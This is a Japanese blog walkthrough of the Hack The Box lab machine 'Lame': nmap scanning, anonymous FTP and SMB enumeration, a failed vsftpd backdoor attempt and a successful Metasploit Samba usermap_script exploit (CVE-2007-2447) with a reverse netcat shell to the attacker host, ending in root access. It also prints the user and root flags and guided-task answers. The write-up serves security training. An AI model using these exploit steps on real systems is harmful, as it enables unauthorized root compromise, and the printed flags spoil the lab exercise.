Hack The BoxのWriteup(Lame)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Lame」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) Metasploitを用いたvsftpdの脆弱性(CVE-2011-2523)悪用
  (3) SMBの調査
  (4) Sambaを用いたvsftpdの脆弱性(CVE-2007-2447)悪用

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) 「nmap -sS -sC -sV -A -p- -Pn –min-rate 5000 10.10.10.3」コマンドを実行して、応答があるポート番号を確認する。FTP(21/tcp) やSSH(22/tcp)やSMB (139/tcp、445/tcp)からの応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 00:13 JST
Nmap scan report for 10.10.10.3
Host is up (0.35s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.16.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), Arris TG862G/CT cable modem (90%), Belkin N300 WAP (Linux 2.6.30) (90%), Control4 HC-300 home controller or Mobotix M22 camera (90%), Dell Integrated Remote Access Controller (iDRAC6) (90%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (90%), Linux 2.4.21 - 2.4.31 (likely embedded) (90%), Linux 2.4.27 (90%), Linux 2.4.7 (90%), Citrix XenServer 5.5 (Linux 2.6.18) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m38s, deviation: 2h49m44s, median: 36s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2025-04-08T11:15:02-04:00

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   220.45 ms 10.10.16.1
2   428.83 ms 10.10.10.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.79 seconds


(2) FTPでアクセスし、anonymousユーザーでログインできるか確認すると、ログインに成功する。

$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): anonymous   ←「anonymous」を入力して[Enter]キーを押す。
331 Please specify the password.
Password:            ←パスワードは何も入力せず[Enter] キーを押す。
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>


(3) lsコマンドでディレクトリ/ファイルの一覧を確認すると、何も表示されない。

ftp> ls
229 Entering Extended Passive Mode (|||27181|).
150 Here comes the directory listing.
226 Directory send OK.


Metasploitを用いたvsftpdの脆弱性(CVE-2011-2523)悪用


(1) nmapコマンドの結果、21/tcpでvsftpdのバージョン2.3.4が動作していることが分かっているため、Google検索するとCVE-2011-2523のコマンドインジェクション脆弱性があることが分かる。

(2) Metasploitを起動すると、Metasploitのプロンプト(msf6 >)が表示される。

$ msfconsole
ーーー(省略)ーーー
msf6 >


(3) searchコマンドを実行してvsftpdの脆弱性を悪用して攻撃できるものを確認すると、「exploit/unix/ftp/vsftpd_234_backdoor」がvsftpdのバージョン2.3.4の脆弱性を悪用した攻撃であることが分かる。

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor


(4) useコマンドで「exploit/unix/ftp/vsftpd_234_backdoor」を使用するように設定する。

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor


(5) show optionsコマンドで設定情報を表示すると、RHOSTSに攻撃対象のホストを設定する必要があることが分かる。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


(6) setコマンドでRHOSTSに攻撃対象のホストを設定する。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3


(7) show optionsコマンドで設定情報を表示して、RHOSTSに設定したIPアドレスが表示されていること分かる。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.3       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


(8) exploitコマンドで攻撃を実行する。しかし、セッションが確立できず失敗してしまう。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.


(9) quitコマンドでMetasploitのプロンプトを終了する。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > quit


SMBの調査


(1) sbmmapを用いてアクセスできるディレクトリを調査すると、tmpにアクセスできることが分かる。

$ smbmap -H 10.10.10.3
ーーー(省略)ーーー
[+] IP: 10.10.10.3:445  Name: 10.10.10.3                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        tmp                                                     READ, WRITE     oh noes!
        opt                                                     NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$                                                  NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))
[*] Closed 1 connections


(2) smbclientを用いてtmpにアクセスする。

$ smbclient -N \\\\10.10.10.3\\tmp

Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>


(3) lsコマンドでtmp内のファイル/ディレクトリを確認する

smb: \> ls
  .                                   D        0  Wed Apr  9 23:12:31 2025
  ..                                 DR        0  Sat Oct 31 15:33:58 2020
  orbit-makis                        DR        0  Wed Apr  9 19:25:31 2025
  .ICE-unix                          DH        0  Tue Apr  8 15:25:54 2025
  vmware-root                        DR        0  Tue Apr  8 15:26:30 2025
  .X11-unix                          DH        0  Tue Apr  8 15:26:20 2025
  gconfd-makis                       DR        0  Wed Apr  9 19:25:31 2025
  .X0-lock                           HR       11  Tue Apr  8 15:26:20 2025
  5532.jsvc_up                        R        0  Tue Apr  8 15:26:58 2025
  vgauthsvclog.txt.0                  R     1600  Tue Apr  8 15:25:53 2025

                7282168 blocks of size 1024. 5386284 blocks available


(4) ファイルをダウンロードする際はgetコマンドでファイル名を指定する。

smb: \> get vgauthsvclog.txt.0
getting file \vgauthsvclog.txt.0 of size 1600 as vgauthsvclog.txt.0 (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)


(5) exitコマンドでftpクライアントを終了する。

smb: \> exit


(6) ダウンロードしたファイルを確認する。しかし、特に気になる情報はない。

$ cat vgauthsvclog.txt.0
[Apr 08 02:25:52.922] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Apr 08 02:25:52.922] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Apr 08 02:25:52.922] [ message] [VGAuthService] Group 'service'
[Apr 08 02:25:52.922] [ message] [VGAuthService]         samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Apr 08 02:25:52.922] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Apr 08 02:25:52.966] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Apr 08 02:25:52.966] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Apr 08 02:25:52.966] [ message] [VGAuthService] Group 'service'
[Apr 08 02:25:52.966] [ message] [VGAuthService]         samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Apr 08 02:25:52.966] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Apr 08 02:25:52.966] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
[Apr 08 02:25:52.966] [ message] [VGAuthService] INIT SERVICE
[Apr 08 02:25:52.966] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[Apr 08 02:25:53.045] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
[Apr 08 02:25:53.086] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation
[Apr 08 02:25:53.086] [ message] [VGAuthService] BEGIN SERVICE



Metasploitを用いたSambaの脆弱性(CVE-2007-2447)悪用


(1) nmapコマンドの結果、445/tcpでSambaのバージョン3.0.20が動作していることが分かっているため、Google検索するとCVE-2007-2447のコマンドインジェクションの脆弱性があることが分かる。

(2) Metasploitを起動すると、Metasploitのプロンプト(msf6 >)が表示される。

$ msfconsole
ーーー(省略)ーーー
msf6 >


(3) searchコマンドを実行してSambaのバージョン3.0.20の脆弱性を悪用して攻撃できるものを確認すると、「exploit/multi/samba/usermap_script」があることが分かる。

msf6 > search "Samba 3.0.20"

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


(4) useコマンドで「exploit/multi/samba/usermap_script」を使用するように設定する。

msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat


(5) show optionsコマンドで設定情報を表示すると、RHOSTSとLHOSTを設定する必要があることが分かる。

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


(6) setコマンドでRHOSTSに攻撃対象マシンのIPアドレスを設定する。

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3


(7) setコマンドでLHOSTにKali LinuxのIPアドレスを設定する。

msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.8
LHOST => 10.10.16.8


(8) show optionsコマンドで設定情報を表示して、RHOSTSとLHOSTに設定したIPアドレスが表示されていること分かる。

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.3       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
                                       loit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.8       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


(9) runコマンドで攻撃を実行する。攻撃に成功し任意のコマンドを実行できるようになる。

msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.16.8:4444
[*] Command shell session 1 opened (10.10.16.8:4444 -> 10.10.10.3:36027) at 2025-04-10 21:35:33 +0900


(10) shellコマンドなどを実行し、シェルを切り替える。

shell
python -c 'import pty; pty.spawn("/bin/sh")'
  →root権限のプロンプト(sh-3.2#)が表示される。


(11) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# whoami
root

# id
uid=0(root) gid=0(root)


(12) 一般ユーザーと特権ユーザー用のフラグファイルを確認する。

# cat /home/makis/user.txt
991ccd46a5414730cc186fa1e5ea29b4

# cat /root/root.txt
aa24c9af6cf93a87999d1f0b8e0eb5fe


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many of the nmap top 1000 TCP ports are open on the remote host?
問題(日本語訳):リモート ホスト上で、nmap の上位 1000 TCP ポートのうちいくつが開いていますか?

答え:4
nmapコマンドの結果、21/tcp、22/tcp、139/tcp、445/tcpからの応答がある。


・Task 2

問題(英語訳):What version of VSFTPd is running on Lame?
問題(日本語訳):Lame で実行されている VSFTPd のバージョンは何ですか?

答え:2.3.4



・Task 3

問題(英語訳):There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here?
問題(日本語訳):VSFTPdバージョン2.3.4には有名なバックドアと、それを悪用するためのMetasploitモジュールがあります。このエクスプロイトはここでも機能しますか?

答え:no


・Task 4

問題(英語訳):What version of Samba is running on Lame? Give the numbers up to but not including "-Debian".
問題(日本語訳):Lame で実行されている Samba のバージョンは何ですか? 「-Debian」までの数字を入力してください。

答え:3.0.20


・Task 5

問題(英語訳):What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the SamrChangePassword function when the "username map script" option is enabled in smb.conf?
問題(日本語訳):2007 CVE のどれが、smb.conf で「ユーザー名マップ スクリプト」オプションが有効になっている場合に、SamrChangePassword 関数を含むシェル メタ文字を介してこのバージョンの Samba でリモート コード実行を許可するのでしょうか。

答え:CVE-2007-2447


・Task 6

問題(英語訳):Exploiting CVE-2007-2447 returns a shell as which user?
問題(日本語訳):CVE-2007-2447 を悪用すると、どのユーザーとしてシェルが返されますか?

答え:root


・Submit User Flag

問題(英語訳):Submit the flag located in the makis user's home directory.
問題(日本語訳):makis ユーザーのホームディレクトリにあるフラグを送信します。

答え:991ccd46a5414730cc186fa1e5ea29b4
※「/home/makis/user.txt」ファイルの内容。


・Submit Root Flag

問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。

答え:aa24c9af6cf93a87999d1f0b8e0eb5fe
※「/root/root.txt」ファイルの内容。


・Task 9

問題(英語訳):We'll explore a bit beyond just getting a root shell on the box. While the official writeup doesn't cover this, you can look at 0xdf's write-up for more details. With a root shell, we can look at why the VSFTPd exploit failed. Our initial nmap scan showed four open TCP ports. Running netstat -tnlp shows many more ports listening, including ones on 0.0.0.0 and the boxes external IP, so they should be accessible. What must be blocking connection to these ports?
問題(日本語訳):マシンでルートシェルを取得するだけでなく、もう少し詳しく調べてみましょう。公式レポートではこの点については触れられていませんが、0xdfの記事で詳細を確認できます。ルートシェルがあれば、VSFTPdエクスプロイトが失敗した理由を調査できます。最初のnmapスキャンでは、4つのTCPポートが開いていることが確認されました。netstat -tnlpを実行すると、0.0.0.0やマシンの外部IPを含む、さらに多くのポートがリッスンしていることが分かりました。つまり、これらのポートはアクセス可能であるはずです。これらのポートへの接続をブロックしている原因は何でしょうか?

答え:firewall


・Task 10

問題(英語訳):When the VSFTPd backdoor is trigger, what port starts listening?
問題(日本語訳):VSFTPd バックドアがトリガーされると、どのポートがリッスンを開始しますか?

答え:6200


・Task 11

問題(英語訳):When the VSFTPd backdoor is triggered, does port 6200 start listening on Lame?
問題(日本語訳):VSFTPd バックドアがトリガーされると、ポート 6200 が Lame でリッスンを開始しますか?

答え:yes


関連記事(Hack The Box)

※後日作成予定。